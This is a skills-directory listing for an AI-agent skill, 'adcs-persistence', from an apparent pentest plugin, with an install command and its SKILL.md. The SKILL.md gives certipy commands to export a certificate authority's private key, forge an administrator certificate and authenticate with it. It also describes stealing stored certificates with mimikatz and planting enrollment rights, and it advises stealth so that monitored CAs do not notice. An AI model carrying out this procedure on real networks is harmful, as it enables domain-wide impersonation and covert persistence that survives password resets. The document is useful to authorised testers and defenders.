Skip to content
Back to skills

Adcs Persistence

ASecurity

Persistence via Active Directory Certificate Services — stealing CA private keys to forge arbitrary certificates (ESC Golden Certificate / DPERSIST1), harvesting user/machine certificates for long-lived authentication, and abusing enrollment rights for durable access that survives password resets. Use post-compromise for stealthy, resilient AD persistence.

  • 16 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 17, 2026
securitygoapi

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill adcs-persistence --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Adcs Persistence?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Adcs Persistence
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-adcs-persistence/badge)](https://www.skillsdirectory.com/skills/anandjogawade-adcs-persistence)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: adcs-persistence
description: Persistence via Active Directory Certificate Services — stealing CA private keys to forge arbitrary certificates (ESC Golden Certificate / DPERSIST1), harvesting user/machine certificates for long-lived authentication, and abusing enrollment rights for durable access that survives password resets. Use post-compromise for stealthy, resilient AD persistence.
---

# AD CS Persistence (Golden Certificate / Cert Theft)

Certificates authenticate independently of passwords and last for the template's validity (often 1-10 years). That makes AD CS a premier persistence mechanism.

## Trigger phrases
`golden certificate, ca private key theft, certificate persistence, dpersist, forge certificate, cert theft`

## Techniques
- **Golden Certificate (DPERSIST1):** steal the CA's private key, then forge a certificate for any user offline — a "golden ticket" that bypasses the CA entirely.
```
certipy ca -backup -u <admin>@<domain> -p <pass> -ca <CA>   # exfil CA cert+key (admin on CA)
certipy forge -ca-pfx <CA>.pfx -upn administrator@<domain>  # forge arbitrary user cert
certipy auth -pfx administrator.pfx -dc-ip <dc>
```
- **Certificate theft (THEFT1-5):** export existing user/machine certs + keys from the store (DPAPI, `certipy` / mimikatz `crypto::`) for long-lived auth as that principal.
- **Enrollment-right persistence:** grant a controlled account enrollment rights on a client-auth template; re-enroll whenever needed.

## OPSEC & remediation note
- Forged certs are hard to detect and survive password resets; remediation requires CA key rotation / revocation, not just password changes — document this.
- Prefer theft/forge over noisy repeated enrollment on monitored CAs.

## Evidence
The exfiltrated CA key or stolen cert, a forged/renewed cert, and re-authentication proof. Clearly label as persistence.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.